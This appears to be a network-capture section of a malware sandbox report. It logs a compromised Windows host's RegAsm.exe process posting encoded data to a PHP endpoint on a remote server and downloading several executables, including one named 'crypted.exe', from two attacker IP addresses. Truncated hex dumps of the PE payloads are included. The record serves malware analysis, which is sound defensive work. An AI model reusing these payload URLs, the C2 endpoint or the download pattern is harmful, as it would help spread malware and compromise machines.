Sep 6, 2024 08:17:03.886404991 CEST	224	IN	Data Raw: 6a 67 66 55 6b 56 6b 30 63 5a 6f 6a 2f 6d 37 33 33 6d 71 50 33 6a 7a 31 36 43 46 77 6e 49 36 4f 77 6a 37 59 62 67 4c 66 53 2f 4e 71 30 36 4d 52 36 6c 59 49 58 52 73 43 77 65 42 4a 52 2b 66 55 50 66 45 72 67 65 69 71 61 37 6d 4e 7a 31 68 6c 54 58 Data Ascii: jgfUkVk0cZoj/m733mqP3jz16CFwnI6Owj7YbgLfS/Nq06MR6lYIXRsCweBJR+fUPfErgeiqa7mNz1hlTXDZCzrWj1q10Kt5NldluAuSnn/BaFhLZLVBZiNcK0da8G4pQrWvki5+5XbVup1Vyts2+nSbdWizGwlev1NMIhLtd6gKL3ytmVNdHoJaDNoljtS9u7JWVVn8MGffAxq5rJBF9YUhKOxkfXQn
Sep 6, 2024 08:17:03.886415005 CEST	1227	IN	Data Raw: 48 63 70 74 70 43 73 76 4c 45 58 78 48 66 74 4a 74 6d 58 6d 55 67 36 4d 58 77 67 73 78 31 4f 6d 51 72 48 6e 7a 4f 6e 6f 67 6a 68 45 39 72 5a 36 33 4f 75 73 7a 46 33 53 45 59 48 6e 59 63 4a 79 66 43 2f 78 31 44 53 36 65 35 45 7a 34 5a 2b 67 6d 30 Data Ascii: HcptpCsvLEXxHftJtmXmUg6MXwgsx1OmQrHnzOnogjhE9rZ63OuszF3SEYHnYcJyfC/x1DS6e5Ez4Z+gm0d+4YFhc9MSgodFoIP1TIBAeZcp4qugHsk5dw1J+ItyE+gy59ROiC7DymgKGd84AX9aFWH4oh96Wgbs3CJQpHKMYUm2+L6g6/eVD7/q4IlPTR6ii/Wyz/nlU16YaDKTgqXII+EQG1sFQhMIp4d2gMTVHYv4LkxAq92
Sep 6, 2024 08:17:23.815356970 CEST	276	OUT	POST /api/twofish.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Content-Length: 561 Host: 185.143.223.148
Sep 6, 2024 08:17:23.815357924 CEST	561	OUT	Data Raw: 64 61 74 61 3d 59 35 36 58 73 72 38 36 38 55 6a 55 33 77 79 35 35 78 4c 53 72 5f 58 2d 47 7a 72 65 4e 6a 39 43 71 49 49 43 5f 70 58 68 43 62 50 51 50 78 53 4e 78 63 68 5f 2d 50 35 52 2d 77 2d 6a 41 6e 33 61 65 58 61 72 4a 54 58 39 54 58 5f 30 42 Data Ascii: data=Y56Xsr868UjU3wy55xLSr_X-GzreNj9CqIIC_pXhCbPQPxSNxch_-P5R-w-jAn3aeXarJTX9TX_0BStA4fX9Z6ORr1k93_IvM64Zzh56kvcooIORn_5x1zzeQBPGzip8UsumGUFcie05K5bT-paOc3HFepUj7W_1g0m2zvBNMzWy8uezBpgZbLxMGcjqSXDMEpBGIzUVNL8U9u-fA1HtZu5qk-elibKBxuw9uvF9asvhdF
Sep 6, 2024 08:17:25.558739901 CEST	298	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 06 Sep 2024 06:17:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 63 0d 0a 4b 44 46 6c 70 44 35 5a 4a 65 48 2f 69 38 47 51 37 30 59 6c 54 43 54 73 78 63 56 73 58 42 50 61 78 73 49 33 37 34 52 78 73 54 59 61 64 64 37 4c 54 4f 43 69 76 35 48 51 77 6c 42 2f 44 62 42 2f 53 46 48 39 50 70 58 75 66 50 48 50 52 77 46 6a 53 30 34 45 32 57 45 4c 52 32 44 79 6a 51 6b 59 67 4d 53 58 62 45 47 39 68 73 30 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cKDFlpD5ZJeH/i8GQ70YlTCTsxcVsXBPaxsI374RxsTYadd7LTOCiv5HQwlB/DbB/SFH9PpXufPHPRwFjS04E2WELR2DyjQkYgMSXbEG9hs0=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49734	176.113.115.33	80	7536	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 6, 2024 08:17:04.450284004 CEST	206	OUT	HEAD /ssl/install.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 176.113.115.33 Cache-Control: no-cache
Sep 6, 2024 08:17:05.307213068 CEST	353	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Fri, 06 Sep 2024 06:17:05 GMT Content-Type: application/octet-stream Content-Length: 3443448 Connection: keep-alive Content-Description: File Transfer Content-Disposition: attachment; filename=install.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public
Sep 6, 2024 08:17:05.307540894 CEST	205	OUT	GET /ssl/install.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 176.113.115.33 Cache-Control: no-cache
Sep 6, 2024 08:17:05.653095961 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Fri, 06 Sep 2024 06:17:05 GMT Content-Type: application/octet-stream Content-Length: 3443448 Connection: keep-alive Content-Description: File Transfer Content-Disposition: attachment; filename=install.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8f 81 0b 01 02 19 00 94 00 00 00 46 00 00 00 00 00 00 40 9c 00 00 00 10 00 00 00 b0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 01 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 40 [TRUNCATED] Data Ascii: MZP@!L!This program must be run under Win32$7PEL^B*F@@@x5@P,k4XCODEd `DATAL@BSS.idataP@.tls.rdata@P.reloc@P.rsrc,,@P@@P
Sep 6, 2024 08:17:05.653115988 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: string<@m@)@(@(@)@$)@Free0)@InitInstanceL)@Cle
Sep 6, 2024 08:17:05.653127909 CEST	1236	IN	Data Raw: c6 ff ff 00 00 81 e6 00 00 ff ff 89 73 04 6a 01 68 00 20 00 00 56 6a 00 e8 f8 fd ff ff 8b f8 89 3b 85 ff 74 23 8b d3 b8 3c c4 40 00 e8 6c fe ff ff 84 c0 75 13 68 00 80 00 00 6a 00 8b 03 50 e8 d9 fd ff ff 33 c0 89 03 5f 5e 5b c3 90 53 56 57 55 8b Data Ascii: sjh Vj;t#<@luhjP3_^[SVWUCjh hU;usjh VU;t#<@uhjPb3]_^[SVWUL$$D$3T$$D$<@
Sep 6, 2024 08:17:05.653203964 CEST	672	IN	Data Raw: 33 d2 55 68 ce 19 40 00 64 ff 32 64 89 22 68 1c c4 40 00 e8 39 f9 ff ff 80 3d 32 c0 40 00 00 74 0a 68 1c c4 40 00 e8 2e f9 ff ff b8 3c c4 40 00 e8 8c f9 ff ff b8 4c c4 40 00 e8 82 f9 ff ff b8 78 c4 40 00 e8 78 f9 ff ff 68 f8 0f 00 00 6a 00 e8 dc Data Ascii: 3Uh@d2d"h@9=2@th@.<@L@x@xhjt@=t@t/t@3L@=u\@@h@@3ZYYdh@=2@th@)@]US=@3Uh@d2d"=2@th@f
Sep 6, 2024 08:17:05.653214931 CEST	1236	IN	Data Raw: c2 83 20 fe c3 53 56 8b d0 83 ea 04 8b 12 8b ca 81 e1 02 00 00 80 81 f9 02 00 00 80 74 0a c7 05 18 c4 40 00 04 00 00 00 8b da 81 e3 fc ff ff 7f 2b c3 8b c8 33 11 f7 c2 fe ff ff ff 74 0a c7 05 18 c4 40 00 05 00 00 00 f6 01 01 74 20 8b d0 83 ea 0c Data Ascii: SVt@+3t@t r+;pt@^[@SVW3t%uhF#_^[SVWUkC7+++}+S
Sep 6, 2024 08:17:05.653232098 CEST	1236	IN	Data Raw: 44 b7 f4 8b 32 89 75 f8 8b 75 f8 89 46 04 8b 75 f8 89 30 8b c1 8b 52 08 83 ca 02 89 10 83 c0 04 89 45 fc ff 05 fc c3 40 00 83 eb 04 01 1d 00 c4 40 00 e8 8e 0e 00 00 e9 84 00 00 00 3b 1d 6c c4 40 00 7f 4a 29 1d 6c c4 40 00 83 3d 6c c4 40 00 0c 7d Data Ascii: D2uuFu0RE@@;l@J)l@=l@}l@3l@p@p@E@@92E3ZYYdhO!@=2@th@5E_^[YY]@UQSVW3@=@uu
Sep 6, 2024 08:17:05.653244019 CEST	1236	IN	Data Raw: 5a 59 59 64 89 10 68 89 25 40 00 80 3d 32 c0 40 00 00 74 0a 68 1c c4 40 00 e8 fb ec ff ff c3 e9 75 08 00 00 eb e5 8b 45 fc 5f 5e 5b 59 5d c3 8b c0 85 c0 74 0a ff 15 04 b0 40 00 09 c0 74 01 c3 b0 01 e9 6a 00 00 00 c3 90 85 c0 74 0a ff 15 08 b0 40 Data Ascii: ZYYdh%@=2@th@uE_^[Y]t@tjt@uRt2tP@Yt.@utP@Yt@@tZH=&@y"PR
Sep 6, 2024 08:17:05.653254986 CEST	1236	IN	Data Raw: 5e 5b c3 8b c0 53 56 57 89 cf 31 db 31 c9 8b 70 dc 85 f6 74 13 66 8b 0e 83 c6 02 3b 56 02 74 13 66 8b 1e 01 de 49 75 f3 8b 40 ec 85 c0 75 df 88 07 eb 0a 83 c6 06 31 c9 8a 0e 41 f3 a4 5f 5e 5b c3 53 56 57 31 c9 31 ff 8a 1a 50 8b 00 8b 70 d8 85 f6 Data Ascii: ^[SVW11ptf;VtfIu@u1A_^[SVW11Pptf>N8ttOu@uZN\2uIuZ_^[RQSP1L$diA*@Ad[YZD$,@&R=@vjjjh=
Sep 6, 2024 08:17:05.653266907 CEST	1236	IN	Data Raw: c0 83 c4 14 64 8b 10 59 8b 12 89 11 5d 5f 5e 5b b8 01 00 00 00 c3 8d 40 00 e8 2b 02 00 00 8b 90 00 00 00 00 8b 0a 89 88 00 00 00 00 8b 42 08 e8 e5 f9 ff ff 5a 8b 64 24 2c 31 c0 59 64 89 08 58 5d e8 7b fc ff ff ff e2 c3 31 d2 8b 4c 24 08 8b 44 24 Data Ascii: dY]_^[@+BZd$,1YdX]{1L$D$d$@UU=,t\=tW-t\-t=HtN`q?r6t0R=t=-t.HtHt$:-t/=t&,*&"
Sep 6, 2024 08:17:05.654000044 CEST	1236	IN	Data Raw: 01 ce e8 9e f2 ff ff 4b 75 e9 5a 58 85 d2 74 03 ff 4a f8 e8 f1 fd ff ff 5a 5e 5b 58 8d 24 94 ff e0 c3 8d 40 00 85 c0 74 09 8b 50 f8 42 7e 03 89 50 f8 c3 8b c0 85 c0 74 02 c3 00 b8 19 34 40 00 c3 8b 10 85 d2 74 2b 8b 4a f8 49 74 25 53 89 c3 8b 42 Data Ascii: KuZXtJZ^[X$@tPB~Pt4@t+JIt%SBHI\|HH6[St-Xt&J\|9})\|9D$1D$[tVSVWURtRO}19~k-X9u/H
Sep 6, 2024 08:17:05.654011011 CEST	497	IN	Data Raw: c3 55 8b ec 83 c4 ec 53 89 45 ec 66 8b 02 8b d9 66 3b d8 75 0d 8b 45 ec e8 b0 fe ff ff e9 c8 00 00 00 66 3d 00 01 75 59 66 83 fb 08 75 0d 8b 45 ec e8 ab ff ff ff e9 af 00 00 00 66 c7 45 f0 00 00 8d 45 f0 e8 98 ff ff ff 33 c0 55 68 2d 39 40 00 64 Data Ascii: USEff;uEf=uYfuEfEE3Uh-9@d0d UE3ZYYdh9@E fuXfuERfEEf3Uh9@d0d UE3ZYYdh9@EkEW[]f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49733	147.45.44.104	80	7536	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 6, 2024 08:17:04.457303047 CEST	219	OUT	HEAD /revada/66c6fcb30b9dd_123p.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 6, 2024 08:17:05.068603039 CEST	312	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Sep 2024 06:17:04 GMT Content-Type: application/octet-stream Content-Length: 10902016 Last-Modified: Thu, 22 Aug 2024 08:54:11 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66c6fcb3-a65a00" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Sep 6, 2024 08:17:05.069526911 CEST	225	OUT	HEAD /yuop/66d59ef9d4404_premium.exe#upus HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 6, 2024 08:17:05.251698971 CEST	311	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Sep 2024 06:17:05 GMT Content-Type: application/octet-stream Content-Length: 3851776 Last-Modified: Mon, 02 Sep 2024 11:18:17 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66d59ef9-3ac600" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Sep 6, 2024 08:17:05.252029896 CEST	222	OUT	HEAD /yuop/66d9de22f231f_crypted.exe#1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 6, 2024 08:17:05.433814049 CEST	309	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Sep 2024 06:17:05 GMT Content-Type: application/octet-stream Content-Length: 331776 Last-Modified: Thu, 05 Sep 2024 16:36:50 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66d9de22-51000" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Sep 6, 2024 08:17:05.436448097 CEST	218	OUT	HEAD /prog/66d70e8640404_trics.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 6, 2024 08:17:05.618424892 CEST	311	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Sep 2024 06:17:05 GMT Content-Type: application/octet-stream Content-Length: 8684256 Last-Modified: Tue, 03 Sep 2024 13:26:30 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66d70e86-8482e0" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Sep 6, 2024 08:17:05.618849039 CEST	220	OUT	GET /yuop/66d897ad1752a_File.exe#xin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 6, 2024 08:17:05.801837921 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Sep 2024 06:17:05 GMT Content-Type: application/octet-stream Content-Length: 513536 Last-Modified: Wed, 04 Sep 2024 17:23:57 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66d897ad-7d600" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 9e 56 d8 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 ca 07 00 00 0a 00 00 00 00 00 00 de e8 07 00 00 20 00 00 00 00 08 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 08 00 00 02 00 00 cb db 07 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 90 e8 07 00 4b 00 00 00 00 00 08 00 02 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 08 00 0c 00 00 00 58 e7 07 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELVf @ @`K X H.text `.rsrc@@.reloc @BHQYpqV{0_92Nr%N9hhXd/K5w.}<#gV=_[vpbsP[BY:E(/1%l>LaDR<(;R_)~4WSlIAD([Ju'Qyp\=9G&<5u6`t,P:k=6x{cqX`2;LJH9c/B%s3pvAO%)2?w
Sep 6, 2024 08:17:05.801851034 CEST	224	IN	Data Raw: 1a 77 de e3 b9 25 13 8c a0 79 6d d8 3d 92 e0 63 1f 6a 26 3a 53 29 1b 5f 84 96 c7 47 16 bb 6a 3b 6c 10 2d 00 0f e0 0d 57 76 7d 99 db c6 d4 1d 4d a2 33 d3 15 fa db 0d 55 b3 ca f3 9f 8a a3 c6 50 ea 86 a1 6c 14 63 c2 02 b5 d1 ae 10 fe 41 c7 e9 be 50 Data Ascii: w%ym=cj&:S)_Gj;l-Wv}M3UPlcAPr$3>n^\W&BT_[HE+X5~AkDl"4U{\|:^Y3"v_7!di&<5*r#NTo-47R$(AB?>
Sep 6, 2024 08:17:05.801861048 CEST	1236	IN	Data Raw: 45 c0 81 36 14 66 4b 16 68 bf fa 5b 94 fb 2a 9c ed 6c 6b b4 d3 de ad a7 8e 27 f4 88 35 a6 bd 8d 2d 41 cf 6d 08 3b fc eb 9f 7c 2e f4 1f 4d e1 9d 00 aa 9c 67 d4 ee 59 aa f7 70 37 8c a2 40 53 08 2d e5 d8 14 7c a9 97 40 82 cd f7 c1 01 c2 98 fb 10 2a Data Ascii: E6fKh[lk'5-Am;\|.MgYp7@S-\|@U\|!^X"Cg@rf"BykQ4r'KbNXf~.{)5eL-lWAS`+%\|I@F'a0RP"S\|W-_5nyT\K4VYC
Sep 6, 2024 08:17:05.801970959 CEST	1236	IN	Data Raw: ee 6f a7 5a 48 8c 9d b7 f7 e8 94 64 0e 71 e5 83 e9 97 fb a8 d0 58 05 39 8c 98 bb ab 9a a7 05 85 0f e3 8f 5b e2 60 2e e5 2d c2 57 c8 90 ed 1e fe 05 e8 f5 4d 9e 44 28 b6 a3 f7 12 01 3d aa 06 41 0e de 07 e0 6c d1 db de 20 ac 96 a2 a7 bb 5a d3 61 f1 Data Ascii: oZHdqX9[`.-WMD(=Al Za7i-{)he,CCPR-!Xmo627V7I5UaU<l@vBHx=j4oo)@K+V#J0vvezxUq`D!q=GlnP`?O'6fo#=
Sep 6, 2024 08:17:05.801984072 CEST	1236	IN	Data Raw: c2 46 60 39 30 a5 1f 0c da 33 28 ba 23 03 da f5 55 68 16 f1 15 87 ac fe c2 ff 56 4f 17 2b a0 36 31 72 11 32 53 84 64 48 af cb 0f df 66 eb 3a 40 3b 8f b1 97 5d 01 98 26 33 8a 5e d0 c2 fd 6e 47 94 75 a8 67 94 28 85 b0 90 df ce 54 09 e7 ec 8e 99 77 Data Ascii: F`903(#UhVO+61r2SdHf:@;]&3^nGug(Tw$&p%Ul.aD^QNV._R6VZ$)Z8zlxrnbGPp2\_[dzg*O4q?I94{)NL}{p9^`DN+6C
Sep 6, 2024 08:17:05.801994085 CEST	1236	IN	Data Raw: 1c 0e b9 3b 0c 6b 7c 4e f8 c3 4c 7d 98 ed 91 46 70 88 d4 59 13 36 d2 67 d1 bc 34 2c 39 1c 83 04 a0 79 3c 80 57 14 64 e9 8e d2 cd 86 30 17 55 f8 42 80 6d c4 1b bc 53 e1 b4 c9 fb 8e 0c b7 98 13 61 ec cd 48 59 86 70 2a 4a 10 74 c2 14 b0 99 ba c3 a8 Data Ascii: ;k\|NL}FpY6g4,9y<Wd0UBmSaHYp*JttuTqGKRK~7,4(0klJ&'Yr8KuM_mFkD0@_&V~^mHv;`)0EpCY@%d<~)JLM\j^G,%A9`bl+4-
Sep 6, 2024 08:17:05.802006006 CEST	1236	IN	Data Raw: 5a 4f 4b f3 66 97 0e 48 2d 50 6e 91 ac 90 03 c6 d0 f8 82 1e 7b 9c ad a7 28 f2 41 27 f6 5c 28 da dc b0 a6 80 3e 34 15 e3 c5 4f 5a 36 9b 0e 62 c5 4c 4c 91 63 7f 45 3f f7 b9 15 79 05 c2 dc 3e be ae 33 96 6d 55 28 6c 05 1f 8f af 73 be 83 c7 4f 56 91 Data Ascii: ZOKfH-Pn{(A'\(>4OZ6bLLcE?y>3mU(lsOV3Qn$r4Kdv2sB:PKT'I<s8,]bW_jsA%'B<$+ WO5*pIVbak[Eo$l}ud<bv9\|l&
Sep 6, 2024 08:17:05.802653074 CEST	1236	IN	Data Raw: 89 fb 72 22 c2 ca e6 f1 29 61 f0 a9 fb d0 ea 2a b0 35 42 d5 18 d9 f7 5c 52 09 3b bc 19 4d fd 40 96 c9 83 6f 46 b7 6f b8 94 38 81 e0 fb 7c f2 71 0a 54 aa 0f 67 8b 6a 94 b1 57 89 7d 8e 15 e9 5e 4c ca 43 5d 77 0b db 24 cc b0 f1 bd dd a1 42 af 06 e2 Data Ascii: r")a5B\R;M@oFo8\|qTgjW}^LC]w$BX%Bf5^E!1OB Bnn>L[:,!dNs_3au4S7@d%{^>8TXFz Jlc=@X[aC>~UjF[jiuR
Sep 6, 2024 08:17:05.802669048 CEST	1236	IN	Data Raw: 83 a1 1d 44 60 07 69 1c b9 20 17 59 a3 87 b7 bb f6 f5 fb 66 37 b8 f8 61 a0 f4 ce 1b cf 7b 53 38 be 48 f4 b1 14 d0 87 b7 f7 39 84 b7 7b ef 18 a8 f1 e0 f1 1f b7 74 8d 25 9b 1a 00 8c 6f c0 ae ed a1 6c 71 32 3d e8 2a 28 16 f2 1b d2 cd 71 97 9e a8 3f Data Ascii: D`i Yf7a{S8H9{t%olq2=*(q?^Et.eoj >W]Y900ZL")}#ftxZh}ksO!(8abLc3rcb.ga8HR.
Sep 6, 2024 08:17:05.802680969 CEST	1236	IN	Data Raw: 94 a1 76 64 0e be 8e ad 9c c3 26 da 3b 11 3a 01 54 3b 7a bd a2 40 fb 2d 72 ee 65 50 f1 8b 43 b5 54 02 f3 cf 2d 60 a8 9a 2d 7f 51 b9 6e 2d 73 c6 84 07 0f 97 35 b8 4f 5f 64 ef 6f 85 8a d2 9a 97 5f 52 e3 fb 98 5e 14 c9 fa da f0 77 41 06 b6 b7 97 13 Data Ascii: vd&;:T;z@-rePCT-`-Qn-s5O_do_R^wAfI$Bri$=o:7UNp8U(nlLK+77`jJtxE8G>4COv+}5/Gb5U4
Sep 6, 2024 08:17:05.802691936 CEST	1236	IN	Data Raw: 98 a0 3b 19 13 7e 5e 09 60 00 41 27 b8 9c 3f 56 20 87 bc 5f ae 37 2a eb 4e 61 27 96 2c c5 92 cd 7f d8 cd 9e 0e fa 57 94 b2 88 93 1d c2 c2 05 aa be a0 55 86 e4 56 9a dc 39 ce ee 35 96 16 b2 82 fb f1 bb 55 67 db 4c ec d7 62 d2 d2 3b 0a 71 ab 2f 9c Data Ascii: ;~^`A'?V _7Na',WUV95UgLb;q/?n-ax^%Il}Q"xuJ%12R0UfPcMNp7ijVp^Nv1W~0@wzD9@B %Kj@%X`q\|6q
Sep 6, 2024 08:17:06.341276884 CEST	224	OUT	GET /yuop/66d59ef9d4404_premium.exe#upus HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 6, 2024 08:17:06.523353100 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Sep 2024 06:17:06 GMT Content-Type: application/octet-stream Content-Length: 3851776 Last-Modified: Mon, 02 Sep 2024 11:18:17 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66d59ef9-3ac600" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 15 38 33 9d 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 06 00 00 e0 29 00 00 e2 10 00 00 00 00 00 9e ff 29 00 00 20 00 00 00 00 2a 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 3b 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 50 ff 29 00 4b 00 00 00 00 20 2a 00 08 dd 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3b 00 0c 00 00 00 02 ff 29 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL83)) @ ;@P)K ;) H.text) ) `.sdata)@.rsrc )@@.reloc;:@B
Sep 6, 2024 08:17:09.082674980 CEST	219	OUT	GET /malesa/66d1b7f7f3765_Front.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 6, 2024 08:17:09.265510082 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Sep 2024 06:17:09 GMT Content-Type: application/octet-stream Content-Length: 14748160 Last-Modified: Fri, 30 Aug 2024 12:15:51 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66d1b7f7-e10a00" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 8b 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 00 00 00 00 00 34 de 00 00 00 00 00 e0 00 02 01 0b 01 03 00 00 88 60 00 00 e6 0a 00 00 00 00 00 10 7c 07 00 00 10 00 00 00 40 d1 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 01 00 01 00 00 00 06 00 01 00 00 00 00 00 00 c0 e4 00 00 04 00 00 56 55 e1 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 c0 dc 00 4c 04 00 00 00 e0 e1 00 95 d2 02 00 00 00 00 00 00 00 00 00 00 00 